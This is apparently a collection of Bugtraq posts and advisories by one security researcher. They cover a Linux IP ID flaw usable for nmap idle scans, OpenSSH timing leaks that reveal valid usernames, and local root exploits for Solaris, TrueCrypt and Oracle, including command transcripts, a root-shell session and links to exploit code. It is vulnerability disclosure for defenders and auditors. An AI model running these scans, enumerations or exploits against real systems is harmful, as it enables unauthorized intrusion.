Re: Solaris 2.6, 7, 8
On Wed, 2 Oct 2002, buzheng wrote: I do not think this is a new bug. I completely agree. But, the remote setting of TTYPROMPT does matter. you can not succeed in login without remotely changing the TTYPROMPT. This is also the bug mentioned in Jonathan's original letter (bid:5531). That's why this bug is not exploitable using remote applications like rlogin, ssh (at least if you are not crazy enough to enable UseLogin option) or X.25 pad: rlogin and pad aren't able to pass env vars others than TERM, while ssh normally don't uses /bin/login for user authentication. If you have applied patches for these 2 bugs, you are safe now. BTW: you can change multiple c s to a=bs, actually, since SYS V login treat as environ var separator, you can also use =64 words separated by or \t. they will all work. Agreed as well. :raptor Antifork Research, Inc. ITBH Italian Black Hats http://www.0xdeadbeef.eu.orghttp://elite.blackhats.it
Linux zero IP ID vulnerability?
Hello Bugtraq, I've recently stumbled upon an interesting behaviour of some Linux kernels that may be exploited by a remote attacker to abuse the ID field of IP packets, effectively bypassing the zero IP ID in DF packets countermeasure implemented since 2.4.8 (IIRC). This is the correct behaviour: [EMAIL PROTECTED]:~# hping -S localhost -p 22 HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=22 flags=SA seq=0 win=32767 rtt=0.1 ms len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=22 flags=SA seq=1 win=32767 rtt=0.0 ms len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=22 flags=SA seq=2 win=32767 rtt=0.0 ms --- localhost hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.0/0.1/0.1 ms [EMAIL PROTECTED]:~# hping -SA localhost -p 22 HPING localhost (lo 127.0.0.1): SA set, 40 headers + 0 data bytes len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=22 flags=R seq=0 win=0 rtt=0.1 ms len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=22 flags=R seq=1 win=0 rtt=0.0 ms len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=22 flags=R seq=2 win=0 rtt=0.0 ms --- localhost hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.0/0.1/0.1 ms This is the flawed behaviour: [EMAIL PROTECTED]:~# hping -S vuln -p 22 HPING vuln (eth0 x.x.x.x): S set, 40 headers + 0 data bytes len=46 ip=x.x.x.x ttl=59 DF id=0 sport=22 flags=SA seq=0 win=5808 rtt=56.4 ms len=46 ip=x.x.x.x ttl=59 DF id=0 sport=22 flags=SA seq=1 win=5808 rtt=72.7 ms len=46 ip=x.x.x.x ttl=59 DF id=0 sport=22 flags=SA seq=2 win=5808 rtt=64.7 ms --- vuln hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss round-trip min/avg/max = 56.4/64.6/72.7 ms [EMAIL PROTECTED]:~# hping -SA vuln -p 22 HPING vuln (eth0 x.x.x.x): SA set, 40 headers + 0 data bytes len=46 ip=x.x.x.x ttl=59 DF id=4248 sport=22 flags=R seq=0 win=0 rtt=143.6 ms len=46 ip=x.x.x.x ttl=59 DF id=4253 sport=22 flags=R seq=1 win=0 rtt=174.8 ms len=46 ip=x.x.x.x ttl=59 DF id=4258 sport=22 flags=R seq=2 win=0 rtt=200.4 ms --- vuln hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss round-trip min/avg/max = 143.6/172.9/200.4 ms As you can see, in the second case the replies to TCP SYN packets contain a correct IP ID value of zero, but replies to TCP SYNACK packets have an incremental IP ID field instead: this means a remote attacker can abuse this behaviour for malicious purposes (i.e. to perform an idle scan with nmap). Specifically, the latest nmap (v4.01) fails to correctly identify this TCP/IP stack behaviour (it reports IPID Seq: All zeros), but it's able to exploit it without code modifications. This is due to the fact that nmap -O -v apparently checks the IP ID field against TCP SYN packets only, while nmap -sI actually uses TCP SYNACK. So far, i haven't gathered enough data to identify the root cause of this problem, but all 2.6 kernels seem to be affected, while only some 2.4 are vulnerable. Here are the preliminary results of my tests (note that some versions of Cisco IOS also show the flawed behaviour): [Vulnerable] Linux 2.6.15-gentoo-r1 (Gentoo current) Linux 2.6.14-gentoo-r5 + grsec (Gentoo) Linux 2.6.8.1 (Debian 3.0) Linux 2.4.27-2-686-smp (Debian 3.1) Some Cisco routers (at least IOS 12.2) [Not vulnerable] Linux 2.4.32-ow1 (Slackware 10.1) Linux 2.4.32-ow1 (Owl 2.0-release) Linux 2.4.31 (Slackware 10.2) Linux 2.4.26 (Slackware 9.1.0) As Philippe Biondi pointed out while privately discussing this issue, there is the same problem (ID present and incremental) for UDP and ICMP packets. The interesting thing with TCP, though, is that it can be exploited to perform an idle scan, while i don't see security implications with UDP and ICMP, despite the obvious information leak. Cheers, -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707
Re: Linux zero IP ID vulnerability?
I've received a couple of off-list replies. See my comments in-line. On Tue, 14 Mar 2006, Martin Mačok wrote: Have you verified that the sequence is global and not only per peer? The latter would mean that vuln can't be used as a middle-man for IDLE scanning... Yeah, of course i've verified that (see below). On Tue, 14 Mar 2006, Cody Tubbs wrote: Unless you're using the syn/ack flags to localhost, other hosts should not be replying (I can't seem to reproduce this on any of the hosts I've tried, accept ofcourse on localhost). What is a host(s) you've successfully tried this towards that's not localhost? Thanks. Not sure i fully understand your comments... Anyway, here's an host showing the flawed behaviour (Gentoo Linux 2.6.14-gentoo-r5 + grsec): [EMAIL PROTECTED]:~# hping -SA -c 3 research.mediaservice.net -p 80 HPING research.mediaservice.net (eth0 82.56.144.13): SA set, 40 headers + 0 data bytes len=46 ip=82.56.144.13 ttl=59 DF id=48842 sport=80 flags=R seq=0 win=0 rtt=57.4 ms len=46 ip=82.56.144.13 ttl=59 DF id=48843 sport=80 flags=R seq=1 win=0 rtt=57.8 ms len=46 ip=82.56.144.13 ttl=59 DF id=48845 sport=80 flags=R seq=2 win=0 rtt=57.6 ms --- research.mediaservice.net hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss round-trip min/avg/max = 57.4/57.6/57.8 ms [EMAIL PROTECTED]:~# hping -SA -c 3 research.mediaservice.net -p 80 HPING research.mediaservice.net (dc0 82.56.144.13): SA set, 40 headers + 0 data bytes len=46 ip=82.56.144.13 ttl=59 DF id=48850 sport=80 flags=R seq=0 win=0 rtt=53.7 ms len=46 ip=82.56.144.13 ttl=59 DF id=48851 sport=80 flags=R seq=1 win=0 rtt=56.3 ms len=46 ip=82.56.144.13 ttl=59 DF id=48857 sport=80 flags=R seq=2 win=0 rtt=59.1 ms --- research.mediaservice.net hping statistic --- 3 packets tramitted, 3 packets received, 0% packet loss round-trip min/avg/max = 53.7/56.4/59.1 ms Cheers, -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707
Re: Linux zero IP ID vulnerability?
Hi Marco! Hey Andrea, - [PIRELLI HOME ACCESS GATEWAY] Based on your tests, this device shows the standard incremental IP ID behaviour: so, nothing special here. - [MY BOX WITH 2.6.15.6 #1 i686 pentium4 GNU/Linux (vanilla)] [snip] (closed port + S flag) [EMAIL PROTECTED]:~$ cat hping.closed HPING xxx.xxx.xxx.139 (eth0 xxx.xxx.xxx.139): S set, 40 headers len=46 ip=xxx.xxx.xxx.139 ttl=64 DF id=4102 sport=18 flags=RA seq=0 win = 0 len=46 ip=xxx.xxx.xxx.139 ttl=64 DF id=4103 sport=18 flags=RA seq=1 win=0 len=46 ip=xxx.xxx.xxx.139 ttl=64 DF id=4104 sport=18 flags=RA seq=2 win=0 Yeah, you're right. Also closed ports (returning a TCP RST to both SYN and SYNACK) show the flawed behaviour i've observed, and can of course be used to perform an idle scan with nmap, e.g.: [EMAIL PROTECTED]:~# hping -S research.mediaservice.net -p 563 -c 1 HPING research.mediaservice.net (eth0 82.56.144.13): S set, 40 headers + 0 data bytes len=46 ip=82.56.144.13 ttl=59 DF id=31911 sport=563 flags=RA seq=0 win=0 rtt=83.9 ms --- research.mediaservice.net hping statistic --- 1 packets tramitted, 1 packets received, 0% packet loss round-trip min/avg/max = 83.9/83.9/83.9 ms [EMAIL PROTECTED]:~# nmap -sI research.mediaservice.net:563 target -p 21-25 WARNING: Many people use -P0 w/Idlescan to prevent pings from their true IP. On the other hand, timing info Nmap gains from pings can allow for faster, more reliable scans. Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at 2006-03-17 12:42 CET Idlescan using zombie research.mediaservice.net (82.56.144.13:563); Class: Incremental Interesting ports on target (x.x.x.x): PORT STATE SERVICE 21/tcp closed|filtered ftp 22/tcp openssh 23/tcp closed|filtered telnet 24/tcp closed|filtered priv-mail 25/tcp opensmtp Nmap finished: 1 IP address (1 host up) scanned in 6.927 seconds After further testing, i confirm that Linux 2.6 seems to be vunerable in every configuration i've seen so far. Since i didn't get any feedback yet from the Linux kernel developers nor from Cisco (other vendors may also be affected) i've the feeling they're not going to fix this any soon: in the next days i'll see if i can find some spare time to dig a bit into kernel code to identify the cause and maybe even provide a patch. Cheers, -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707
Re: recursive DNS servers DDoS as a growing DDoS problem
On Thu, 30 Mar 2006, Geo. wrote: Don't you think creating a control point like that is dangerous? Especially dangerous when it's DNS which runs virtually every function on the internet? Yeah, it could be indeed... It's not directly related to the discussion topic, but i just wanted to inform you about the current Internet censorship campaign promoted by the Italian government since last February 20th: a list of web sites offering (illegal) on-line gambling services is blocked through DNS records hijacking performed at the ISP level. In other words, the Italian government is forcing all the major ISPs to break regular DNS functionality and override these censored records: http://www.aams.it/site.php?page=20060213093814964op=download Italy is the first democratic country to do something like that, AFAIK. Just my 2 euro-cents, -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707
Re: Oracle = 9i / 10g File System Access via utl_file Exploit
Hey Bugtraq, Just a quick clarification about the recently posted code. On Wed, 20 Dec 2006, sumit kumar soni wrote: HI, I don't think so its any new vulnerability or exploit (make me correct). Yeah, you're right, there's no bug here -- just a feature. I wrote this code during a recent security audit and since i found it to be useful i decided to publish it in the public domain, pretty much as i did in the past with: http://www.0xdeadbeef.info/exploits/raptor_udf.c http://www.0xdeadbeef.info/exploits/raptor_udf2.c http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql As a side note, although i don't believe the mentioned MySQL UDFs exploit an actual vulnerability, i've seen similar code used to get unauthorized access to (misconfigured) systems: http://www.theregister.co.uk/2005/01/28/mysql_worm/ What i believe its a feature to acess OS files. it never come as a good practice to set utl_file_dir=*. On OS you cant set acess for an database acoount like scott or others. As the advisory you mentioned clearly states: Keep in mind NEVER to set the init.ora parameter utl_file_dir=* or to grant the privilege CREATE ANY DIRECTORY to PUBLIC. Nevertheless, it's not terribly uncommon to find such setups, which allow to escalate privileges from DBMS user to OS user... Therefore, i though it would have been nice to share this proof-of-concept code with the security community;) Ciao, -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707
Re: Solaris telnet vulnberability - how many on your network?
Scott, On Sat, 17 Feb 2007, Cromar Scott wrote: I have to wonder if the old bug complaints are coming in reference to one of the following: http://www.securityfocus.com/bid/3064/info http://www.securityfocus.com/bid/5531/info I know that my initial reaction was haven't I seen this before? but the above two are what I found in my notes when I looked back. (Note that the second of the two is reported to actually reference a problem with login and not in.telnetd.) The second vulnerability you mention was indeed affecting System V derived login. Furthermore, it was exploitable through a common telnet client (via the TTYPROMPT trick [1], which somehow reminds me of the recent Solaris 10 exploit), locally, or through other attack vectors, such as rlogin [2] and even X.25 pad daemon, without the need to specify TTYPROMPT at all. [1] http://archive.cert.uni-stuttgart.de/bugtraq/2002/10/msg00020.html [2] http://www.0xdeadbeef.info/exploits/raptor_rlogin.c Cheers, -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707
Re: Denial of Service Vulnerabilities in TrueCrypt 4.3 Linux (re. bid 23180)
On Sun, 1 Apr 2007, Pavel Kankovsky wrote: You do not have to rely on some other user running your trojan horse. You can replace a program run automatically (e.g. by cron). Or something even better: replace system dynamic libraries (e.g. /lib/tls) and run a dynamically linked setuid program of your own choice. Instant ownage! (Moreover, the latter approach is quite easy to exploit without making the system unusable.) This is a very serious vulnerability. I absolutely agree. Here's a proof of concept exploit i wrote to demonstrate a specific local privilege escalation scenario (there's plenty of other attack vectors that can be used, see comments in the script for a brief list of the most obvious ones): http://www.0xdeadbeef.info/exploits/raptor_truecrypt.tgz WARNING: DO NOT USE IT IF YOU DON'T KNOW WHAT YOU'RE DOING, IT CAN SEVERELY SCREW UP YOUR SYSTEM! By the way, writing the exploit i noticed this (flawed?) behaviour of ld.so(8). From its man page: LD_PRELOAD A whitespace-separated list of additional, user-specified, ELF shared libraries to be loaded before all others. This can be used to selectively override functions in other shared libraries. For set-user-ID/set-group-ID ELF binaries, only libraries in the standard search directories that are also set- user-ID will be loaded. So far, so good. But the libraries do not have to be setuid root: they just need the setuid bit set and the owner can also be an unprivileged user. This may have some small security implications: i suppose an additional check on the ownership of the libraries wouldn't hurt here. Cheers, -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707
Re: AS/400 Vulnerabilities
Hello Bugtraq, On Fri, 13 Jun 2008, security curmudgeon wrote: I would guess there is little research being done on them. The odds of a box falling over due to a few malformed TCP packets, but being resistant or not vulnerable to more complex attacks seems pretty far fetched. While this vendor and technology is widely deployed, it isn't a sexy target for research. Speaking of AS/400 security research, I'd like to point out the following resources: http://seclists.org/pen-test/2008/Feb/0083.html http://www.venera.com/downloads.htm http://www.venera.com/order.htm http://www.security-database.com/toolswatch/AS-400-Auditing-Framework-Beta.html Cheers, -- Marco Ivaldi, OPST Red Team Coordinator Data Security Division @ Mediaservice.net Srlhttp://mediaservice.net/
yet another OpenSSH timing leak?
Hello Bugtraq, Here we are again... During a recent penetration test i stumbled upon yet another OpenSSH timing leak, leading to remote disclosure of valid usernames. It's not as big as the one i found in the past (CVE-2003-0190), but it can indeed be exploited over the Internet, nevertheless. This time, OpenSSH-portable apparently introduces a small delay (see attached transcript for details) when verifying access credentials for users with a password set: it doesn't matter if they don't have a valid shell or login has been disabled through an sshd_config directive. So far, i've not been able to determine the root cause of this exposure and i've reproduced it only on some fully-patched SUSE Linux 10.0 boxes (OpenSSH_4.1 + SUSE patches, both protocols 1 and 2 are affected, with or without PAM authentication), therefore it may be a SUSE-specific and/or a configuration-dependant flaw (latest tests on some freshly installed SUSE systems didn't show the flawed behaviour). That said, there are probably other timing leaks involving third-party patches (x509 certs, LDAP, and so on), logging, and custom configurations, as well as other ways in which valid usernames may be probed for (i.e., with RSA/DSA authentication) -- thus i decided to release a small script for testing timing patterns in sshd replies: http://www.0xdeadbeef.info/code/sshtime It needs expect, and target ssh hostkey must be already added. I'd be very interested in knowing the results of tests performed on other distros and configurations. Thanks to Solar Designer and Andrea Barisani for the interesting discussion on this topic. Cheers, -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707[EMAIL PROTECTED]:~$ # [EMAIL PROTECTED]:~$ # Over 100 Mbps LAN (slow computer) [EMAIL PROTECTED]:~$ # [EMAIL PROTECTED]:~$ ./sshtime 2.mediaservice.net smalldict sshtime v0.1 - Simple OpenSSH remote timing attack tool Copyright (c) 2006 Marco Ivaldi [EMAIL PROTECTED] [EMAIL PROTECTED] real 0.13 [EMAIL PROTECTED]real 0.13 [EMAIL PROTECTED] real 0.80- valid user with shell [EMAIL PROTECTED] real 0.13 [EMAIL PROTECTED] real 0.13 [EMAIL PROTECTED] real 0.79 - valid user with shell [EMAIL PROTECTED] real 0.13 [EMAIL PROTECTED] real 0.14 [EMAIL PROTECTED]:~$ # [EMAIL PROTECTED]:~$ # 100 Mbps LAN (faster computer) [EMAIL PROTECTED]:~$ # [EMAIL PROTECTED]:~$ ./sshtime 3.mediaservice.net smalldict sshtime v0.1 - Simple OpenSSH remote timing attack tool Copyright (c) 2006 Marco Ivaldi [EMAIL PROTECTED] [EMAIL PROTECTED] real 0.09 [EMAIL PROTECTED]real 0.09 [EMAIL PROTECTED] real 0.32- valid user with shell [EMAIL PROTECTED] real 0.09 [EMAIL PROTECTED] real 0.09 [EMAIL PROTECTED] real 0.32 - valid user with shell [EMAIL PROTECTED] real 0.09 [EMAIL PROTECTED] real 0.09 [EMAIL PROTECTED]:~$ # [EMAIL PROTECTED]:~$ # Over the Internet [EMAIL PROTECTED]:~$ # [EMAIL PROTECTED]:~$ ./sshtime 4.mediaservice.net smalldict sshtime v0.1 - Simple OpenSSH remote timing attack tool Copyright (c) 2006 Marco Ivaldi [EMAIL PROTECTED] [EMAIL PROTECTED] real 1.22 [EMAIL PROTECTED]real 1.17 [EMAIL PROTECTED] real 1.22 [EMAIL PROTECTED] real 1.17 [EMAIL PROTECTED] real 1.22 [EMAIL PROTECTED] real 1.77 - valid user with shell [EMAIL PROTECTED] real 1.27 [EMAIL PROTECTED] real 1.77 - valid user without shell [EMAIL PROTECTED]:~$
Re: yet another OpenSSH timing leak?
Hey again, I know quoting myself is bad form, but i just wanted to clarify a few points about my recent OpenSSH timing leak post;) Here we are again... During a recent penetration test i stumbled upon yet another OpenSSH timing leak, leading to remote disclosure of valid usernames. It's not as big as the one i found in the past (CVE-2003-0190), but it can indeed be exploited over the Internet, nevertheless. Since some people asked me, i can confirm this exposure is not directly related to the old OpenSSH-portable/PAM timing leak (CVE-2003-0190), nor to the recent GSSAPI vulnerability (CVE-2006-5052), though my script can help to exploit both of them. So far, i've not been able to determine the root cause of this exposure and i've reproduced it only on some fully-patched SUSE Linux 10.0 boxes (OpenSSH_4.1 + SUSE patches, both protocols 1 and 2 are affected, with or without PAM authentication), therefore it may be a SUSE-specific and/or a configuration-dependant flaw (latest tests on some freshly installed SUSE systems didn't show the flawed behaviour). I'm still investigating the cause of the problem. Since i couldn't reproduce it on a fresh SUSE install, i thought it might depend on some special configuration adopted on the pen-tested boxen: so far, i can say it doesn't seem to depend on 32-bit/64-bit installs, nor on IPv4/IPv6 support, nor on PAM/noPAM (i found vulnerable systems with all combinations of these configurations). Although i'm not able to tell what exactly makes a system vulnerable, logging is one of the most promising culprit candidates. Stracing sshd it's easy to spot the different codepaths, and playing with timing options -t, -T, and -r leads to some interesting results. I'll dig a bit more into this and let you know if i come up with something interesting. That said, there are probably other timing leaks involving third-party patches (x509 certs, LDAP, and so on), logging, and custom configurations, as well as other ways in which valid usernames may be probed for (i.e., with RSA/DSA authentication) -- thus i decided to release a small script for testing timing patterns in sshd replies: Even if at the end of testing it turns out that the exposure i found is highly dependant on configuration (therefore not deserving a CVE/BID entry), i hope the small sshtime script will help researchers and auditors to spot some other timing leaks. Cheers, -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707
Re: iDefense Security Advisory 10.11.06: Sun Microsystems Solaris NSPR Library Arbitrary File Creation Vulnerability
On Wed, 11 Oct 2006, iDefense Labs wrote: III. ANALYSIS Exploitation allows local attackers to elevate privileges to root. http://www.0xdeadbeef.info/exploits/raptor_libnspr Oldschool style;) I'll probably code a universal exploit using /etc/ld.so.preload on next week... But now the week-end has landed! -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707
Re: yet another OpenSSH timing leak?
Hey Bugtraq, I'm re-sending this to the list, 'cause for some reason my previous email didn't go through... Here's further information about the OpenSSH timing leak i recently found on SUSE systems, plus some news and considerations about possible solutions. First of all, i finally managed to reproduce the vulnerability on a fresh SUSE 10.0 install: the sshd process has a peak in CPU usage while processing user credentials stored in /etc/shadow, only for those usernames whose password has been set manually, i.e. not using yast. Take a look at the following example: [add a new user test using yast] [EMAIL PROTECTED]: grep test /etc/shadow test:$2a$05$OE8sRobsfoZVO137cEiSDe1fQ8L1fSk2KiuCJ7VkAyAZzsU8F/uWu:13433:0:9:7:-1:: [password is test123] [EMAIL PROTECTED]: ./sshtime localhost dict sshtime v0.1 - Simple OpenSSH remote timing attack tool Copyright (c) 2006 Marco Ivaldi [EMAIL PROTECTED] [EMAIL PROTECTED] real 1.23 - no delay (it's even a bit faster;) [EMAIL PROTECTED] real 1.27 [EMAIL PROTECTED]: passwd test Changing password for test. New Password: Reenter New Password: Password changed. [EMAIL PROTECTED]: grep test /etc/shadow test:$2a$10$KZFZX7yYEpbfDvwP6Z5N5ut4Gc/rdIF64/TmpWssIPQvROTiK/TiG:13433:0:9:7::: [password has been manually changed to test321] [EMAIL PROTECTED]: ./sshtime localhost dict sshtime v0.1 - Simple OpenSSH remote timing attack tool Copyright (c) 2006 Marco Ivaldi [EMAIL PROTECTED] [EMAIL PROTECTED] real 2.18 - we can observe a big delay! [EMAIL PROTECTED] real 1.27 [EMAIL PROTECTED]: These tests were performed on both fully-patched and not patched SUSE 10.0 boxes, with sshd configured not to use PAM, although this same exposure has been identified also on PAM-enabled systems, with minor differences. I have no idea if older/newer SUSE versions are also vulnerable. Therefore, to summarize things up: it's possible to remotely identify usernames whose password has been set manually -- this is a SUSE-specific exposure, that should be fixed by SUSE developers. The root cause of the flawed behaviour is easy to spot. For instance: The version number, the logarithm of the number of rounds and the concatenation of salt and hashed password are separated by the `$' character [in /etc/shadow]. An encoded `8' would specify 256 rounds. -- OpenBSD crypt(3) manual page The manually entered password has a bigger logarithm of the number of rounds (10), thus it takes much more time to process, depending on CPU power. This suggests the obvious workaround and means other distros/OSes (like OpenBSD) that use blowfish crypt() might be vulnerable as well... Specifically, quoting Solar Designer, this affects all platforms that do not bother to compute password hashes with fake salts for non-existent accounts and/or to use the same iteration count in those fake salts that is used for real passwords. Moreover, it means that this should affect those platforms that use MD5-based hashes, too - only to a lesser extent (since those hashes are faster). And it should be possible to spot the $2a$05$ (quicker to compute) hashes on SuSE, too, compared to non-existent accounts - one just has to do more probes per-account. Take a look at how Owl resolves this. Now the news. This is not the only instance of timing and other leaks of information on whether a username is valid. Beside the flaw described above, off-list email reports i got so far seem to confirm there are quite some different previously unknown/unreleased timing leaks in OpenSSH, on various Linux distributions and operating systems: some of them are there by default, others may depend on environment, configuration, or third-party patches (LDAP patch), and so on... I bet commercial SSH implementations are not safe as well. Unfortunately, it's a very broad topic and it's not easy to find a valid solution without careful large-scale testing. Moreover, as Solar Designer put it, it's everyone's and noone's fault -- or arguably not a fault at all, but just the way things work. Nevertheless, i believe big timing leaks which are exploitable over the Internet should definitely be taken care of by developers. PS. The CVE Project has assigned candidate number CVE-2006-5229 to this issue. -- Marco Ivaldi Antifork Research, Inc. http://0xdeadbeef.info/ 3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707
Re: Windows 7/8 admin account installation password stored in the clear in LSA Secrets
Hi, I've often found this behaviour during security assessments for corporate Clients. It should indeed be considered a vulnerability, especially in enterprise scenarios where for instance it can be leveraged by a regular notebook user to escalate privileges and be able to access all other corporate user's notebooks (including their bosses';). Cheers, MI On Thu, 11 Jul 2013, Dnegel X. wrote: 1. I didn't find an explanation about this behavior that deals with installation password, although this LSA Secret is well known to contain passwords, mainly from Windows XP era. Could you provide a link? It also hasn't been fixed in Window 8 released this year. 2. You could e.g. retrieve a password from one vulnerable machine (where physical access or admin shell is possible) and use it against more secure ones sharing same admin password, typically when a Windows image is replicated over a network to multiple machines. Anyhow, having a cleartext password residue somewhere without documentation looks like a sad bug to me. Xavier On Thu, Jul 11, 2013 at 7:35 PM, Rob sy...@synfulvisions.com wrote: Two things: 1. This was made public sometime in 2012 or earlier IIRC. 2. Exploiting this requires the same permission levels that would be required to change or access the password anyway. Where's the realistic security threat? Rob -- -- Marco Ivaldi OPSA, OPST, OWSE, QSA, ASV Senior Security Advisor @ Mediaservice.net SrlTel: +39-011-32.72.100 Via Santorelli, 15Fax: +39-011-32.46.497 10095 Grugliasco (TO) - ITALY http://www.mediaservice.net/ -- PGP Key - https://keys.mediaservice.net/m_ivaldi.asc
local privilege escalation via CDE dtprintinfo
Dear Bugtraq,
Please find attached an advisory for the following vulnerability:
A buffer overflow in the DtPrinterAction::PrintActionExists() function in the
Common Desktop Environment 2.3.0 and earlier, as used in Oracle Solaris 10 1/13
(Update 11) and earlier, allows local users to gain root privileges via a long
printer name passed to dtprintinfo by a malicious lpstat program.
Note that Oracle Solaris CDE is based on the original CDE 1.x train, which is
different from the CDE 2.x codebase that was later open sourced. Most notably,
the vulnerable buffer in the Oracle Solaris CDE is stack-based, while in the
open source version it is heap-based.
This is a 0day vulnerability demonstrated at #INFILTRATE19 on May 2nd, 2019 in
the talk "A bug's life: story of a Solaris 0day".
For further information, refer to the following links:
https://vimeo.com/335197685
https://github.com/0xdea/raptor_infiltrate19
Regards,
--
Marco Ivaldi, SAT Manager
CISSP, OSCP, QSA, ASV, OPSA, OPST, OWSE, LA27001, PRINCE2F
@Mediaservice.net S.r.l. con Socio Unico
https://www.mediaservice.net/
@Mediaservice.net (Cybaze Group) Security Advisory #2019-01 (updated on
2019-05-08)
Title: Local privilege escalation via CDE dtprintinfo
Application: Common Desktop Environment 2.3.0 and earlier
Platforms: Oracle Solaris 10 1/13 (Update 11) and earlier
Other platforms are potentially affected (see below)
Description: A local attacker can gain root privileges by exploiting
a buffer overflow in CDE dtprintinfo
Author: Marco Ivaldi
Contributor: Dave Aitel (original discovery)
Vendor Status: notified on 2019-05-05
notified on 2019-05-05
CVE: The Common Vulnerabilities and Exposures project has not
assigned
a name to this issue yet
References:
https://lab.mediaservice.net/advisory/2019-01-cde-dtprintinfo.txt
https://github.com/0xdea/raptor_infiltrate19
https://sourceforge.net/p/cdesktopenv/wiki/Home/
https://www.oracle.com/technetwork/server-storage/solaris10/
https://www.mediaservice.net/
https://infiltratecon.com/
1. Abstract.
A buffer overflow in the DtPrinterAction::PrintActionExists() function in the
Common Desktop Environment 2.3.0 and earlier, as used in Oracle Solaris 10 1/13
(Update 11) and earlier, allows local users to gain root privileges via a long
printer name passed to dtprintinfo by a malicious lpstat program.
Note that Oracle Solaris CDE is based on the original CDE 1.x train, which is
different from the CDE 2.x codebase that was later open sourced. Most notably,
the vulnerable buffer in the Oracle Solaris CDE is stack-based, while in the
open source version it is heap-based.
This is a 0day vulnerability demonstrated at #INFILTRATE19 on May 2nd, 2019 in
the talk "A bug's life: story of a Solaris 0day".
2. Example Attack Session.
bash-3.2$ cat /etc/release
Oracle Solaris 10 1/13 s10x_u11wos_24a X86
Copyright (c) 1983, 2013, Oracle and/or its affiliates. All rights reserved.
Assembled 17 January 2013
bash-3.2$ uname -a
SunOS nostalgia 5.10 Generic_147148-26 i86pc i386 i86pc
bash-3.2$ id
uid=54322(raptor) gid=1(other)
bash-3.2$ gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall
bash-3.2$ ./raptor_dtprintname_intel 192.168.1.1:0
raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel
Copyright (c) 2004-2019 Marco Ivaldi
Using SI_PLATFORM : i86pc (5.10)
Using stack base: 0x8047fff
Using rwx_mem address : 0xfeffa004
Using sc address: 0x8047f60
Using strcpy() address : 0xfefe26a0
lpstat called with -v
lpstat called with -v
lpstat called with -d
# id
uid=0(root) gid=1(other)
3. Affected Platforms.
All platforms shipping the Common Desktop Environment are potentially affected.
This includes:
* Oracle Solaris 10 1/13 (Update 11) and earlier [default installation]
According to the CDE Wiki, the following platforms are officially supported:
* All Official Ubuntu variants 12.04 - 18.04
* Debian 6, 7, 8, 9
* Fedora 17 at least
* Archlinux
* Red Hat
* Slackware 14.0
* OpenBSD
* NetBSD
* FreeBSD 9.2, 10.x, 11.x
* openSUSE Tumbleweed (gcc7)
* openSUSE Leap 4.2 (gcc4)
* SUSE 12 SP3 (gcc4)
* Solaris, OpenIndiana
4. Fix.
The maintainers of the open source CDE 2.x version have issued the following
patches for this vulnerability:
https://sourceforge.net/p/cdesktopenv/code/ci/30cd56ac389fbab521c52669a3bd25041d4e1df1/
https://sourceforge.net/p/cdesktopenv/code/ci/05d231606ebe3658712a36017d16ec3cc349145d/
https://sourceforge.net/p/cdesktopenv/code/ci/d59ec197e5307ad9650b6518dba67b7ef388f053/
Oracle, which maintains a different CDE codebase based on the 1.x train, is
investigating the issue via tracking# S1153109 and is expected to release a fix
for all affected-supported versions of Solaris via their quarterly Critic
CVE-2019-3010 - Local privilege escalation on Solaris 11.x via xscreensaver
Dear Bugtraq,
Please find attached an advisory for the following vulnerability, fixed in
Oracle's Critical Patch Update (CPU) of October 2019:
"Exploitation of a design error vulnerability in xscreensaver, as distributed
with Solaris 11.x, allows local attackers to create (or append to) arbitrary
files on the system, by abusing the -log command line switch introduced in
version 5.06. This flaw can be leveraged to cause a denial of service condition
or to escalate privileges to root."
For further information, refer to the following links:
https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/
https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver
Regards,
--
Marco Ivaldi, SAT Manager
CISSP, OSCP, QSA, ASV, OPSA, OPST, OWSE, LA27001, PRINCE2F
@Mediaservice.net S.r.l. con Socio Unico
https://www.mediaservice.net/
@Mediaservice.net Security Advisory #2019-02 (last updated on 2019-10-16)
Title: Local privilege escalation on Solaris 11.x via xscreensaver
